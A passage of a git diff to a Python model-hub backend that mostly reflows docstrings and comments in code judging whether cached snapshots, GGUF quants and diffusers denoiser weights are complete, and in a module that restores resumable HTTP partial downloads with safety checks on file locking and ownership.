row. Only the family the classified format names is judged: a snapshot can hold both a config.json and an adapter_config.json, so the config alone does not say which."""payload = _snapshot_payload(snapshot_dir)if payload is None:return False@@ -1222,17 +1094,13 @@ def _snapshot_lacks_a_complete_weight_family(snapshot_dir: Path) -> bool:# Probed, not matched: the walk folds case, so it would accept MODEL.SAFETENSORS here.canonical_empty = _root_file_is_empty(snapshot_dir, selected)if canonical_empty is True:- # The loader opens this name first and finds it empty. Same exemption as below.return kind == wanted or wanted not in payload.ungroupedif canonical_empty is False:- # Only the row's own kind proves it loads, and it vetoes nothing once that kind's payload is here- # but names no family.+ # Only the row's own kind proves it loads, and it vetoes nothing once that kind's payload is here but names no family.return kind != wanted and wanted not in payload.ungrouped- # from_pretrained reads the snapshot root, so only families named there are judged; a subdirectory- # layout is carried by ungrouped instead.+ # from_pretrained reads the snapshot root, so only families named there are judged; a subdirectory layout is carried by ungrouped instead.if kind == "base" and suffix in payload.root_indexes:- # Selected and loaded for exactly what it names, wherever those paths point, so judge its contents- # rather than this walk's families; the next name is never tried.+ # Selected and loaded for exactly what it names, wherever those paths point, so judge its contents rather than this walk's families; the next name is never tried.if suffix in payload.unusable_root_indexes:return kind == wanted or wanted not in payload.ungroupedreturn kind != wanted and wanted not in payload.ungrouped@@ -1262,7 +1130,6 @@ def _snapshot_lacks_a_complete_weight_family(snapshot_dir: Path) -> bool:if unreachable or (kind == wanted and kind in payload.nested and kind not in payload.ungrouped):- # This kind's weights are here but no name the loader tries reaches them.return True# No family: an ungroupable payload is evidence only when alone and empty or unreachable.return (@@ -1273,16 +1140,7 @@ def _snapshot_lacks_a_complete_weight_family(snapshot_dir: Path) -> bool:def _snapshot_cannot_serve_its_payload(snapshot_dir: Optional[Path], *, quants: Optional[bool] = None) -> bool:- """Whether *snapshot_dir*'s own contents prove it cannot serve a row.-- Judged on the pinned snapshot alone, since the dangling ref is exactly what stopped being- evidence. Quants are judged on quants, otherwise on safetensors/checkpoint families, under- ``is_gguf_repo_partial``'s rule: one complete quant or family is enough, and only a file naming- its own total counts as proof.-- *quants* picks the row's format in a hybrid repo: True quants, False families, None either.- Otherwise a torn quant vetoes a whole weights row, and a whole one vouches for a torn family.- """+ """Whether *snapshot_dir*'s own contents prove it cannot serve a row. Judged on the pinned snapshot alone, since the dangling ref is exactly what stopped being evidence. Quants are judged on quants, otherwise on safetensors/checkpoint families, under ``is_gguf_repo_partial``'s rule: one complete quant or family is enough, and only a file naming its own total counts as proof. *quants* picks the row's format in a hybrid repo (True quants, False families, None either); otherwise a torn quant vetoes a whole weights row, and a whole one vouches for a torn family."""if snapshot_dir is None:return Falseif quants is not False:@@ -1301,16 +1159,7 @@ def _recovered_snapshot_cannot_serve(*,quants: Optional[bool] = None,) -> bool:- """Partial signal for a snapshot the dangling-ref recovery put back on a row.-- The interrupted attempt that wrote the ref may have left nothing else behind, so marker,- manifest and ``.incomplete``/broken-symlink all read false and a snapshot short a shard looks- runnable; its contents are the only evidence left. Scoped to the dangling case: where the ref- resolves, upstream already publishes the row.-- Other recovered cases retain their own evidence: broken links mark the repo partial, while a- stray snapshot file never represented a revision.- """+ """Partial signal for a snapshot the dangling-ref recovery put back on a row. The interrupted attempt that wrote the ref may have left nothing else behind, so marker, manifest and ``.incomplete``/broken-symlink all read false and a snapshot short a shard looks runnable; its contents are the only evidence left. Scoped to the dangling case, since where the ref resolves upstream already publishes the row. Other recovered cases retain their own evidence: broken links mark the repo partial, while a stray snapshot file never represented a revision."""if repo_cache_dir is None or snapshot_dir is None:return Falseif not _repo_has_a_dangling_ref(repo_cache_dir):@@ -1321,25 +1170,14 @@ def _recovered_snapshot_cannot_serve(def snapshot_holds_a_complete_payload(snapshot_dir: Optional[Path], *, quants: Optional[bool] = None) -> bool:- """Whether *snapshot_dir* can serve a load from its own contents alone.-- The selection-side counterpart to the partial check: a row picks the newest snapshot that- classifies, and filename-only classification cannot tell a whole payload from one short a shard,- so without this a broken newer revision hides a complete older one.- """+ """Whether *snapshot_dir* can serve a load from its own contents alone. The selection-side counterpart to the partial check: a row picks the newest snapshot that classifies, and filename-only classification cannot tell a whole payload from one short a shard, so without this a broken newer revision hides a complete older one."""if snapshot_dir is None:return Falsereturn not _snapshot_cannot_serve_its_payload(snapshot_dir, quants = quants)def recovered_repo_is_unusable_by_repo_id(repo_info) -> bool:- """Whether a recovered repo is one a caller that can only say ``repo_id`` must skip.-- The Hub inventory carries ``partial`` and a ``load_id``, so it describes these rows honestly.- The compatibility ``/api/models/cached-models`` schema has neither, so an unusable recovery- reads there as a plain cached model. False for every repo upstream already returns, so this- only withholds rows this recovery added.- """+ """Whether a recovered repo is one a caller that can only say ``repo_id`` must skip. The Hub inventory carries ``partial`` and a ``load_id``, so it describes these rows honestly; the compatibility ``/api/models/cached-models`` schema has neither, so an unusable recovery reads there as a plain cached model. False for every repo upstream already returns, so this only withholds rows this recovery added."""if not isinstance(repo_info, _RecoveredRepoInfo):return Falserepo_path = getattr(repo_info, "repo_path", None)@@ -1359,11 +1197,7 @@ def recovered_repo_is_unusable_by_repo_id(repo_info) -> bool:def snapshot_variants_all_complete(snapshot: str) -> bool:- """True when every quant the lister would advertise from *snapshot* is on disk.-- One complete quant is not enough: the picker enumerates the whole directory, so a half-downloaded- split quant beside a good one still gets offered.- """+ """True when every quant the lister would advertise from *snapshot* is on disk. One complete quant is not enough: the picker enumerates the whole directory, so a half-downloaded split quant beside a good one still gets offered."""from hub.utils.gguf import list_local_gguf_variantstry:variants, _ = list_local_gguf_variants(snapshot)@@ -1376,12 +1210,7 @@ def snapshot_variants_all_complete(snapshot: str) -> bool:def snapshot_has_complete_variants(snapshot: str) -> bool:- """True when at least one quant the lister advertises from *snapshot* is on disk.-- Weaker than ``snapshot_variants_all_complete`` on purpose: a snapshot mixing a whole quant with- an interrupted split one still loads the whole one, and the lister trims the offer to that- subset. Every load-id pin uses this, so selection and offered variants name one directory.- """+ """True when at least one quant the lister advertises from *snapshot* is on disk. Weaker than ``snapshot_variants_all_complete`` on purpose: a snapshot mixing a whole quant with an interrupted split one still loads the whole one, and the lister trims the offer to that subset. Every load-id pin uses this, so selection and offered variants name one directory."""from hub.utils.gguf import list_local_gguf_variantstry:variants, _ = list_local_gguf_variants(snapshot)@@ -1394,11 +1223,7 @@ def snapshot_has_complete_variants(snapshot: str) -> bool:def snapshot_has_gguf_projector(snapshot: Optional[Path]) -> bool:- """Whether *snapshot* itself holds a GGUF vision projector.-- Same walk the variant lister reports ``has_vision`` from, so row capability and picker flag- cannot name different revisions.- """+ """Whether *snapshot* itself holds a GGUF vision projector. Same walk the variant lister reports ``has_vision`` from, so row capability and picker flag cannot name different revisions."""if snapshot is None:return Falsefrom hub.utils.gguf import list_local_gguf_variants@@ -1502,19 +1327,12 @@ def is_snapshot_partial(snapshot_dir: Optional[Path] = None,variant_state = None,) -> bool:- """Repo-row partial flag for snapshot-style downloads (full-snapshot models, i.e.- safetensors/adapter/checkpoint, and all datasets).-- Composes four signals, cheapest first:- 1. Cancel marker (single stat), charged to the newest snapshot.- 2. Snapshot-attributed legacy .incomplete blob / broken-symlink check.- 3. Manifest walk (stat per expected file under the latest snapshot).- 4. A recovered snapshot short a shard, for the dangling-ref rows the first three cannot judge.-- A manifest without a resolvable snapshot is partial: the worker recorded expectations but left- no usable snapshot. *snapshot_dir* pins the legacy and manifest walks to the row's load identity;- without it a metadata-only revision beside a complete download flags the row partial. Repo-wide- signals are attributed by ``_repo_signal_applies_to_snapshot``."""+ """Repo-row partial flag for snapshot-style downloads (full-snapshot models, i.e. safetensors/adapter/checkpoint, and all datasets).++ Composes four signals, cheapest first: the cancel marker (single stat, charged to the newest snapshot); the snapshot-attributed legacy .incomplete blob / broken-symlink check; the manifest walk (stat per expected file under the latest snapshot); and a recovered snapshot short a shard, for the dangling-ref rows the first three cannot judge.++ A manifest without a resolvable snapshot is partial: the worker recorded expectations but left no usable snapshot. *snapshot_dir* pins the legacy and manifest walks to the row's load identity; without it a metadata-only revision beside a complete download flags the row partial. Repo-wide signals are attributed by ``_repo_signal_applies_to_snapshot``.+ """from hub.utils import download_manifest# A snapshot-style row loads weights, so a quant beside them is another row's payload.@@ -1553,17 +1371,7 @@ def is_snapshot_partial(def _current_revisions(repo_info):- """The revisions to judge a cached repo by: just the one the loader will actually open.-- ``from_pretrained`` resolves the newest snapshot by mtime (:func:`latest_snapshot_dir`), so a- repo cached twice -- an older complete snapshot plus a newer companion-only scoped one -- must- be judged on the newer one. Scanning every revision let the old snapshot's denoiser satisfy the- completeness check, so the row read as complete while the snapshot the loader picks has no- transformer/unet: offline loads then fail and online loads silently pull the multi-GB weight.-- Falls back to the newest revision by ``last_modified``, then to every revision, so a cache- layout this cannot resolve behaves as before rather than reporting nothing.- """+ """The revisions to judge a cached repo by: just the one the loader will actually open. ``from_pretrained`` resolves the newest snapshot by mtime (:func:`latest_snapshot_dir`), so a repo cached twice (an older complete snapshot plus a newer companion-only scoped one) must be judged on the newer one. Scanning every revision let the old snapshot's denoiser satisfy the completeness check, so the row read as complete while the snapshot the loader picks has no transformer/unet, and offline loads then failed while online loads silently pulled the multi-GB weight. Falls back to the newest revision by ``last_modified``, then to every revision."""revisions = list(getattr(repo_info, "revisions", ()) or ())if len(revisions) <= 1:return revisions@@ -1585,28 +1393,19 @@ def _current_revisions(repo_info):return revisions-# One definition of "the denoiser is on disk", shared by the repo-wide and snapshot-scoped checks so-# the two cannot drift into disagreeing about the same directory.+# One definition of "the denoiser is on disk", shared by the repo-wide and snapshot-scoped checks so the two cannot drift into disagreeing about the same directory._DENOISER_DIRS = ("transformer", "unet")_DENOISER_WEIGHT_SUFFIXES = (".safetensors", ".bin")-# The two names a default load can open at the component root: the safetensors one _get_model_file-# asks for first, and the .bin its pickle fallback drops to.+# The two names a default load can open at the component root: the safetensors one _get_model_file asks for first, and the .bin its pickle fallback drops to._DEFAULT_DENOISER_WEIGHTS = frozenset(f"diffusion_pytorch_model{suffix}" for suffix in _DENOISER_WEIGHT_SUFFIXES)-# The one sharded index a default load resolves: use_safetensors unset coerces to True and-# _fetch_index_file then builds only _add_variant(SAFE_WEIGHTS_INDEX_NAME, variant), so with-# variant unset this exact name. Our load path passes neither (core/inference/{diffusion,video}.py).+# The one sharded index a default load resolves: use_safetensors unset coerces to True and _fetch_index_file then builds only _add_variant(SAFE_WEIGHTS_INDEX_NAME, variant), so with variant unset this exact name. Our load path passes neither (core/inference/{diffusion,video}.py)._SELECTED_DENOISER_INDEX = "diffusion_pytorch_model.safetensors.index.json"def snapshot_has_pipeline_index(snapshot: Optional[Path]) -> bool:- """Whether *snapshot* carries a conventional or modular root pipeline index.-- The snapshot-scoped twin of :func:`repo_has_pipeline_index`, for callers that already know the- ONE directory their row loads from. ``from_pretrained`` reads the manifest at the root of the- revision it resolves, so a sibling revision's manifest says nothing about this row.- """+ """Whether *snapshot* carries a conventional or modular root pipeline index. The snapshot-scoped twin of :func:`repo_has_pipeline_index`, for callers that already know the ONE directory their row loads from: ``from_pretrained`` reads the manifest at the root of the revision it resolves, so a sibling revision's manifest says nothing about this row."""if snapshot is None:return Falsetry:@@ -1619,17 +1418,7 @@ def snapshot_has_pipeline_index(snapshot: Optional[Path]) -> bool:def _manifest_denoiser_components(snapshot: Path) -> Optional[tuple[str, ...]]:- """The denoiser subdirs this pipeline's root manifest declares, or None.-- Read off the manifest rather than the fixed ``_DENOISER_DIRS`` pair because multi-DiT pipelines- carry more than one (Ideogram 4 adds ``unconditional_transformer/``, Wan 2.2's A14B experts- ``transformer_2/``) and would otherwise pass on whichever the loop reached first.-- None means the manifest could not be READ and the caller keeps the fixed-pair rule. An EMPTY- tuple is the different answer that it read fine and names no denoiser under either spelling- (Stable Cascade and Wuerstchen call theirs ``decoder``/``prior``), so there is nothing here to- prove absent and the caller must not hunt for directories that layout never had.- """+ """The denoiser subdirs this pipeline's root manifest declares, or None. Read off the manifest rather than the fixed ``_DENOISER_DIRS`` pair because multi-DiT pipelines carry more than one (Ideogram 4 adds ``unconditional_transformer/``, Wan 2.2's A14B experts ``transformer_2/``) and would otherwise pass on whichever the loop reached first. None means the manifest could not be READ and the caller keeps the fixed-pair rule; an EMPTY tuple means it read fine and names no denoiser under either spelling (Stable Cascade and Wuerstchen call theirs ``decoder``/``prior``), so there is nothing to prove absent and the caller must not hunt for directories that layout never had."""try:manifest_path = snapshot / "model_index.json"if not manifest_path.is_file():@@ -1648,9 +1437,7 @@ def _manifest_denoiser_components(snapshot: Path) -> Optional[tuple[str, ...]]:name = key.lower()if name != "unet" and "transformer" not in name:continue- # A component is a [library, class] pair keyed by its directory; [null, null] means deliberately- # absent (Wan 2.2's 5B transformer_2), and anything else names no directory to infer (ACE-STEP- # maps "transformer" to a config dict).+ # A component is a [library, class] pair keyed by its directory; [null, null] means deliberately absent (Wan 2.2's 5B transformer_2), and anything else names no directory to infer (ACE-STEP maps "transformer" to a config dict).if not isinstance(value, (list, tuple)) or not any(v for v in value):continuefound.append(key)@@ -1658,11 +1445,7 @@ def _manifest_denoiser_components(snapshot: Path) -> Optional[tuple[str, ...]]:def _denoiser_index_shards(index: Path) -> Optional[set[str]]:- """The shard names *index* maps, or None when it is absent, unparseable or maps nothing.-- None is "no evidence" rather than "incomplete": an index we cannot read proves nothing either- way, so the caller keeps looking.- """+ """The shard names *index* maps, or None when it is absent, unparseable or maps nothing. None is "no evidence" rather than "incomplete": an index we cannot read proves nothing either way, so the caller keeps looking."""try:with index.open("r", encoding = "utf-8") as fh:weight_map = json.load(fh).get("weight_map")@@ -1676,82 +1459,44 @@ def _denoiser_index_shards(index: Path) -> Optional[set[str]]:def _component_weights_complete(component: Path) -> bool:"""Whether *component* holds a denoiser the loader could actually read.- Presence of ONE weight file is not enough: a sharded denoiser is described by an- ``*.index.json`` naming every shard, and a fetch that landed shard 1 of 2 alone satisfies a- first-match test while failing at load.-- ``_SELECTED_DENOISER_INDEX`` settles the question on its own whenever it EXISTS: it is the only- sharded name diffusers resolves here, its presence alone makes the component sharded, and what- follows is unconditional -- ``_get_checkpoint_shard_files`` opens exactly what it maps, while- the ``except IOError`` branch and the pickle fallback under it are both gated on ``not- is_sharded``. So a short set fails, and so does an index too corrupt to parse.-- Every OTHER index vouches for nothing, because a default load never opens it:- ``_fetch_index_file`` builds the safetensors name only, and the non-sharded fallback under it- asks for the UNSHARDED ``diffusion_pytorch_model.bin``, never a ``.bin.index.json`` set beside- it. Repos ship exactly that leftover (``stablediffusionapi/sdrealdream``), and our own download- plan manufactures it (``core/inference/diffusion.py``).-- Nor does a dtype variant, whole or not. ``_add_variant`` inserts the variant before the last- part, so a bf16 set is ``diffusion_pytorch_model.safetensors.index.bf16.json`` over- ``diffusion_pytorch_model-00001-of-00002.bf16.safetensors`` -- the real names- ``genmo/mochi-1-preview`` ships beside its default weights. A load passing no ``variant`` asks- for the plain name and has no fallback the other way, and the download plan skips those files- for the same reason, so a cache holding only them was filled by something else.-- So with no selected index there are exactly two names left, the pair ``_get_model_file`` is- handed, and every other weight in the directory is one ``from_pretrained`` never resolves.+ Presence of ONE weight file is not enough: a sharded denoiser is described by an ``*.index.json`` naming every shard, and a fetch that landed shard 1 of 2 alone satisfies a first-match test while failing at load.++ ``_SELECTED_DENOISER_INDEX`` settles the question whenever it EXISTS: it is the only sharded name diffusers resolves here, its presence alone makes the component sharded, and what follows is unconditional, since ``_get_checkpoint_shard_files`` opens exactly what it maps while the ``except IOError`` branch and the pickle fallback are both gated on ``not is_sharded``. So a short set fails, and so does an index too corrupt to parse.++ Every OTHER index vouches for nothing, because a default load never opens it: ``_fetch_index_file`` builds the safetensors name only, and the non-sharded fallback asks for the UNSHARDED ``diffusion_pytorch_model.bin``, never a ``.bin.index.json`` set beside it. Repos ship exactly that leftover (``stablediffusionapi/sdrealdream``), and our own download plan manufactures it. Nor does a dtype variant, whole or not: ``_add_variant`` inserts the variant before the last part, and a load passing no ``variant`` asks for the plain name with no fallback the other way.++ So with no selected index there are exactly two names left, the pair ``_get_model_file`` is handed."""- # iterdir() raises on an unreadable dir, reaching the caller's fail-open guard; glob() would swallow- # that OSError and read as "no weights".+ # iterdir() raises on an unreadable dir, reaching the caller's fail-open guard; glob() would swallow that OSError and read as "no weights".next(component.iterdir(), None)- # Existence alone makes the component sharded (is_sharded comes from is_file()), so an index we- # cannot read IS the failure; is_file() is the loader's own test too.+ # Existence alone makes the component sharded (is_sharded comes from is_file()), so an index we cannot read IS the failure; is_file() is the loader's own test too.selected = component / _SELECTED_DENOISER_INDEXif selected.is_file():if _index_cannot_serve_its_shards(selected, set()):return False- # The loader opens exactly what weight_map lists and reads each one as a checkpoint, so a map naming- # a config.json a corrupt fetch left behind fails at load however present that file is.+ # The loader opens exactly what weight_map lists and reads each one as a checkpoint, so a map naming a config.json a corrupt fetch left behind fails at load however present that file is.shards = _denoiser_index_shards(selected)return bool(shards) and all(name.lower().endswith(_DENOISER_WEIGHT_SUFFIXES) for name in shards)- # No index means the component is not sharded to the loader either, and _get_model_file opens only- # the safetensors default and the .bin under it: a numbered shard is reachable only THROUGH an- # index, a dtype twin only under a matching variant, and a model.safetensors or adapter sidecar- # never at all.+ # No index means the component is not sharded to the loader either, and _get_model_file opens only the safetensors default and the .bin under it: a numbered shard is reachable only THROUGH an index, a dtype twin only under a matching variant, and a model.safetensors or adapter sidecar never at all.return any((component / name).is_file() for name in _DEFAULT_DENOISER_WEIGHTS)def snapshot_pipeline_missing_denoiser(snapshot: Optional[Path]) -> bool:- """The companion-only-prefetch check scoped to ONE snapshot dir.-- Same signal as :func:`repo_pipeline_missing_denoiser` -- a root ``model_index.json`` with no- usable weights under the pipeline's denoiser component(s) -- but judged on the directory the- caller's row actually loads, not on whichever revision this module would have picked for- itself. Two snapshot selectors disagree: a row pinned to (or resolving through ``refs/main``- to) a complete revision would otherwise be marked partial by a newer companion-only one- sitting beside it.-- Stricter than the repo-wide twin, since this decides whether a row is advertised as runnable:- EVERY denoiser the manifest declares must be present, each with every shard its index names.- Best-effort in the same direction: a read error reports not-missing.- """+ """The companion-only-prefetch check scoped to ONE snapshot dir. Same signal as :func:`repo_pipeline_missing_denoiser` (a root ``model_index.json`` with no usable weights under the pipeline's denoiser components) but judged on the directory the caller's row actually loads: two snapshot selectors disagree, and a row pinned to a complete revision would otherwise be marked partial by a newer companion-only one beside it. Stricter than the repo-wide twin, since this decides whether a row is advertised as runnable: EVERY denoiser the manifest declares must be present, each with every shard its index names. Best-effort: a read error reports not-missing."""if not snapshot_has_pipeline_index(snapshot):return Falsetry:root = Path(snapshot)declared = _manifest_denoiser_components(root)if declared is not None:- # all(()) is True: a manifest declaring no denoiser has none to prove absent, so it reads complete- # rather than being hunted for one it never had.+ # all(()) is True: a manifest declaring no denoiser has none to prove absent, so it reads complete rather than being hunted for one it never had.return not all((root / name).is_dir() and _component_weights_complete(root / name)for name in declared)- # Unreadable manifest: either fixed name will do, since a UNet pipeline has no transformer/ and a- # DiT one no unet/.+ # Unreadable manifest: either fixed name will do, since a UNet pipeline has no transformer/ and a DiT one no unet/.return not any((root / name).is_dir() and _component_weights_complete(root / name)for name in _DENOISER_DIRS@@ -1761,12 +1506,7 @@ def snapshot_pipeline_missing_denoiser(snapshot: Optional[Path]) -> bool:def repo_has_pipeline_index(repo_info) -> bool:- """Whether the cached snapshot carries a ROOT model_index.json, i.e. is loadable- as a full diffusers pipeline (from_pretrained reads only the repo root). A nested- subdir/model_index.json does not count: loading the repo root still fails, so the- row must keep its single_file flag. CachedFileInfo.file_name is the basename, so- a name match alone would also claim nested copies -- scope by file_path when the- scan provides it."""+ """Whether the cached snapshot carries a ROOT model_index.json, i.e. is loadable as a full diffusers pipeline (from_pretrained reads only the repo root). A nested subdir/model_index.json does not count: loading the repo root still fails, so the row must keep its single_file flag. CachedFileInfo.file_name is the basename, so a name match alone would also claim nested copies; scope by file_path when the scan provides it."""try:for rev in _current_revisions(repo_info):snapshot = getattr(rev, "snapshot_path", None)@@ -1785,18 +1525,7 @@ def repo_has_pipeline_index(repo_info) -> bool:def repo_pipeline_missing_denoiser(repo_info) -> bool:- """True for a diffusers-pipeline snapshot (root ``model_index.json``) whose denoiser component- (``transformer/`` or ``unet/``) carries NO weight file -- the shape of a companion-only prefetch- where a GGUF image load pulled the base repo's VAE / text-encoder / manifest but skipped the- multi-GB transformer (the GGUF supplies it). :func:`is_snapshot_partial` misses this (every- file the manifest expected did arrive), so callers OR the two signals together and mark such- rows partial. Best-effort: any scan error reports not-missing so a glitch never hides a- genuinely complete pipeline.-- Judged by :func:`snapshot_pipeline_missing_denoiser` on the revision the loader opens, so the- compatibility ``/api/models/cached-models`` listing and the Hub inventory agree on a row. The- walk below it is only for a scan that records no ``snapshot_path``: with no directory there is- no manifest to read and no shard index to check."""+ """True for a diffusers-pipeline snapshot (root ``model_index.json``) whose denoiser component (``transformer/`` or ``unet/``) carries NO weight file: the shape of a companion-only prefetch where a GGUF image load pulled the base repo's VAE / text-encoder / manifest but skipped the multi-GB transformer. :func:`is_snapshot_partial` misses this, since every file the manifest expected did arrive, so callers OR the two signals together. Best-effort: any scan error reports not-missing. Judged by :func:`snapshot_pipeline_missing_denoiser` on the revision the loader opens, so the compatibility ``/api/models/cached-models`` listing and the Hub inventory agree on a row; the walk below it is only for a scan that records no ``snapshot_path``."""if not repo_has_pipeline_index(repo_info):return Falsetry:@@ -1841,14 +1570,7 @@ def is_variant_partial(repo_signal_applies: bool = True,variant_state = None,) -> bool:- """Per-variant partial detection. Owns its manifest, owns its marker.-- Used by the GGUF variants endpoint to flag one quant as broken without contaminating the others- in the same repo. *snapshot_dir* is an optional hint to avoid re-walking the cache when checking- many variants of one repo (see is_gguf_repo_partial). ``repo_signal_applies`` is- ``_repo_signal_applies_to_snapshot``'s verdict: a caller pinning an older revision passes False- rather than judge that quant by another revision's marker, manifest or blobs. Defaults True so- the per-variant endpoint still reports a cancelled quant as broken."""+ """Per-variant partial detection. Owns its manifest, owns its marker. Used by the GGUF variants endpoint to flag one quant as broken without contaminating the others in the same repo. *snapshot_dir* is an optional hint to avoid re-walking the cache when checking many variants of one repo. ``repo_signal_applies`` is ``_repo_signal_applies_to_snapshot``'s verdict: a caller pinning an older revision passes False rather than judge that quant by another revision's marker, manifest or blobs. Defaults True so the per-variant endpoint still reports a cancelled quant as broken."""from hub.utils import download_manifestreturn _compose_partial(lambda: (@@ -1894,20 +1616,13 @@ def is_gguf_repo_partial(snapshot_dir: Optional[Path] = None,variant_state = None,) -> bool:- """Repo-row partial flag for a GGUF repo. The inventory shows ONE row per- GGUF repo (requires_variant=True); per-variant detail lives in- GET /api/models/gguf-variants and uses is_variant_partial.+ """Repo-row partial flag for a GGUF repo. The inventory shows ONE row per GGUF repo (requires_variant=True); per-variant detail lives in GET /api/models/gguf-variants and uses is_variant_partial.*** DO NOT simplify this to "any variant partial -> repo partial" ***- Tripwire scenario: user downloads Q8_0 fully, then starts Q4_K_M and cancels. Both variants share- ONE inventory row, so flipping row.partial True flips can_chat=False and the perfectly-good Q8_0- becomes unchattable over an unrelated cancelled Q4_K_M.+ Tripwire: a user downloads Q8_0 fully, then starts Q4_K_M and cancels. Both variants share ONE inventory row, so flipping row.partial True flips can_chat=False and the perfectly-good Q8_0 becomes unchattable over an unrelated cancelled Q4_K_M.- Correct semantics: partial=True only when at least one variant is broken AND no other variant is- clean. Composes a cheap legacy fast-path (.incomplete blobs / broken symlinks) with a per-variant- manifest + marker enumeration gated on "all broken". *snapshot_dir* pins both to the row's load- id; without it an interrupted re-download flips can_chat off for the older complete quant.+ Correct semantics: partial=True only when at least one variant is broken AND no other variant is clean. Composes a cheap legacy fast-path (.incomplete blobs / broken symlinks) with a per-variant manifest + marker enumeration gated on "all broken". *snapshot_dir* pins both to the row's load id; without it an interrupted re-download flips can_chat off for the older complete quant."""from hub.utils import download_manifest@@ -1991,13 +1706,7 @@ def partial_transport_for(variant: Optional[str] = None,repo_cache_dir: Optional[Path] = None,) -> Optional[str]:- """Transport to surface on a partial row's resume affordance.-- Prefers the cancel marker's transport, then the manifest's. The fallback- matters for rows partial without a marker (an errored/interrupted download- leaves the manifest but no marker) so the UI can still show HTTP-resume vs- XET-redownload instead of the neutral retry label. ``None`` when neither is- available."""+ """Transport to surface on a partial row's resume affordance. Prefers the cancel marker's transport, then the manifest's; the fallback matters for rows partial without a marker (an errored download leaves the manifest but no marker) so the UI can still show HTTP-resume vs XET-redownload instead of the neutral retry label. ``None`` when neither is available."""from hub.utils import download_manifesthub_cache = _hub_cache_for_repo_dir(repo_cache_dir)@@ -2024,20 +1733,12 @@ def partial_resume_available(variant: Optional[str] = None,repo_cache_dir: Optional[Path] = None,) -> bool:- """Whether THIS partial can be picked up byte for byte, rather than whether some partial- somewhere could be.-- Both verdicts have to agree: the transport this row reports, and the registry's per-file- check, which rejects a 1.18+ nonce partial nothing will reopen. The installed- huggingface_hub cannot answer it alone, since a cache shared with a newer environment- holds partials this one can never continue.- """+ """Whether THIS partial can be picked up byte for byte, rather than whether some partial somewhere could be. Both verdicts have to agree: the transport this row reports, and the registry's per-file check, which rejects a 1.18+ nonce partial nothing will reopen. The installed huggingface_hub cannot answer it alone, since a cache shared with a newer environment holds partials this one can never continue."""from hub.utils import download_registryif partial_transport_for(repo_type, repo_id, variant, repo_cache_dir) != "http":return False- # Same root the transport was read from: a row can be displayed from a remembered, legacy or custom- # cache, and the active root neither holds its partials nor shares its manifest scope.+ # Same root the transport was read from: a row can be displayed from a remembered, legacy or custom cache, and the active root neither holds its partials nor shares its manifest scope.return download_registry.is_resumable_partial(repo_type,repo_id,diff --git a/studio/backend/hub/utils/resumable_partials.py b/studio/backend/hub/utils/resumable_partials.pyindex 77a2d226995..2cfc28ae45a 100644--- a/studio/backend/hub/utils/resumable_partials.py+++ b/studio/backend/hub/utils/resumable_partials.py@@ -1,43 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Give huggingface_hub >= 1.18 back its resumable HTTP partials.--1.18 replaced the shared ``<etag>.incomplete``, opened append and continued with a Range request,-with a process-unique ``<etag>.<nonce>.incomplete`` opened ``"wb"`` and unlinked on the way out-(huggingface/huggingface_hub#4228). So a cancelled or killed transfer refetches from zero, and-:mod:`hub.workers.hf_download`, whose SIGKILL then restart loop reads ``.incomplete`` for its resume-offset, has nothing to read.--Only the caller went. ``http_get`` still takes ``resume_size``, still sends the Range header, and-still does ``seek(0)`` + ``truncate()`` when a server answers 200 to a Range request, the case that-would otherwise duplicate bytes. This restores the 1.17 caller and nothing else.--Upstream removed it because the shared name corrupts the cache where ``flock(2)`` does not exclude-every caller (Lustre, GPFS, some NFS): two processes append to one file. So exclusion has to be-shown, and where it cannot be, the stock writer stays and partials keep reporting as unresumable.--Two things have to hold, because a probe run here can only speak for this host. The cache must be-on a local filesystem: NFS mounted ``-o local_lock=flock`` keeps flock locks client-local, so two-hosts each take "the" lock and neither sees ``EWOULDBLOCK``, and no test on one of them can notice.-And ``flock`` must actually exclude a second holder here, which :func:`_lock_is_honoured_at`-measures by taking the lock twice. Only ``EWOULDBLOCK``/``EAGAIN`` counts as exclusion: a-filesystem with no locking answers ``ENOLCK`` or ``EOPNOTSUPP``, and reading that as "refused"-would enable the shared writer on precisely the mounts that cannot support it.--Neither can be shown on Windows, which has no ``fcntl`` and no way to establish who owns a file-without pywin32, so the shared name stays off there and Windows keeps the stock writer.--A predictable name is also something another account can get to first, so the partial itself is-checked before a byte is appended: ``O_NOFOLLOW`` at open, and then owner, link count and file type-on the descriptor rather than the path, since only the descriptor is the thing about to be written.-See :func:`_objection_to`. Publishing re-checks that the name still holds what was written, because-``_chmod_and_move`` resolves it again.--The other corruption route, appending to a sparse XET or parallel-Range partial, belongs to the-transport markers in :mod:`hub.utils.download_registry`. They are bypassed on >= 1.18 only because-no resumer exists, so restoring one brings them back into force.-"""+"""Give huggingface_hub >= 1.18 back its resumable HTTP partials. 1.18 replaced the shared ``<etag>.incomplete``, opened append and continued with a Range request, with a process-unique ``<etag>.<nonce>.incomplete`` opened ``"wb"`` and unlinked on the way out (huggingface/huggingface_hub#4228), so a cancelled or killed transfer refetches from zero and :mod:`hub.workers.hf_download`, whose SIGKILL then restart loop reads ``.incomplete`` for its resume offset, has nothing to read. Only the caller went: ``http_get`` still takes ``resume_size``, still sends the Range header, and still does ``seek(0)`` + ``truncate()`` when a server answers 200 to a Range request, the case that would otherwise duplicate bytes, so this restores the 1.17 caller and nothing else. Upstream removed it because the shared name corrupts the cache where ``flock(2)`` does not exclude every caller (Lustre, GPFS, some NFS): two processes append to one file. So exclusion has to be shown, and where it cannot be, the stock writer stays and partials keep reporting as unresumable. Two things have to hold, because a probe run here can only speak for this host: the cache must be on a local filesystem, since NFS mounted ``-o local_lock=flock`` keeps flock locks client-local so two hosts each take "the" lock and neither sees ``EWOULDBLOCK``; and ``flock`` must actually exclude a second holder here, which :func:`_lock_is_honoured_at` measures by taking the lock twice, where only ``EWOULDBLOCK``/``EAGAIN`` counts as exclusion, since a filesystem with no locking answers ``ENOLCK`` or ``EOPNOTSUPP`` and reading that as "refused" would enable the shared writer on precisely the mounts that cannot support it. Neither can be shown on Windows, which has no ``fcntl`` and no way to establish who owns a file without pywin32, so the shared name stays off there. A predictable name is also something another account can get to first, so the partial itself is checked before a byte is appended: ``O_NOFOLLOW`` at open, and then owner, link count and file type on the descriptor rather than the path, since only the descriptor is the thing about to be written (see :func:`_objection_to`); publishing re-checks that the name still holds what was written, because ``_chmod_and_move`` resolves it again. The other corruption route, appending to a sparse XET or parallel-Range partial, belongs to the transport markers in :mod:`hub.utils.download_registry`: they are bypassed on >= 